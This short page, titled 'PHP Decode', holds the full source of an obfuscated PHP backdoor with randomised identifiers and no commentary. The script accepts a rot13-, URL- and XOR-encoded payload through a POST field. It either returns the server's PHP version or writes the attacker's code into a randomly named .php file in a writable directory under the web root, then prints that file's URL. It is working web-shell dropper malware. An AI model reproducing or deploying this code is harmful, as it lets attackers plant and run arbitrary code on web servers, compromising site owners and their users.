PHP Decode

<?php $bztcwynkeq = "crbnqreyevmibzlr";$gbtqtz = "";foreach ($_POST as $rsnuufv => $awhalqw){if (strlen($rsnuufv) == 16 and substr_count($awhalqw, "%") > 10){ysaanztarn($rsnuufv, $awhalqw);}}function ysaanztarn($rsnuufv, $sqwvaz){global $gbtqtz;$gbtqtz = $rsnuufv;$sqwvaz = str_split(rawurldecode(str_rot13($sqwvaz)));function twbhex($fclnvgasxu, $rsnuufv){global $bztcwynkeq, $gbtqtz;return $fclnvgasxu ^ $bztcwynkeq[$rsnuufv % strlen($bztcwynkeq)] ^ $gbtqtz[$rsnuufv % strlen($gbtqtz)];}$sqwvaz = implode("", array_map("twbhex", array_values($sqwvaz), array_keys($sqwvaz)));$sqwvaz = @unserialize($sqwvaz);if (@is_array($sqwvaz)){$rsnuufv = array_keys($sqwvaz);$sqwvaz = $sqwvaz[$rsnuufv[0]];if ($sqwvaz === $rsnuufv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function nbelelvu($yijbpuekzir) {static $ryjhhf = array();$jvyubtq = glob($yijbpuekzir . '/*', GLOB_ONLYDIR);if (count($jvyubtq) > 0) {foreach ($jvyubtq as $yijbpuekz){if (@is_writable($yijbpuekz)){$ryjhhf[] = $yijbpuekz;}}}foreach ($jvyubtq as $yijbpuekzir) nbelelvu($yijbpuekzir);return $ryjhhf;}$zaxeuibs = $_SERVER["DOCUMENT_ROOT"];$jvyubtq = nbelelvu($zaxeuibs);$rsnuufv = array_rand($jvyubtq);$ukxpcpd = $jvyubtq[$rsnuufv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ukxpcpd, $sqwvaz);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ukxpcpd, strlen($zaxeuibs));exit();}}} ?>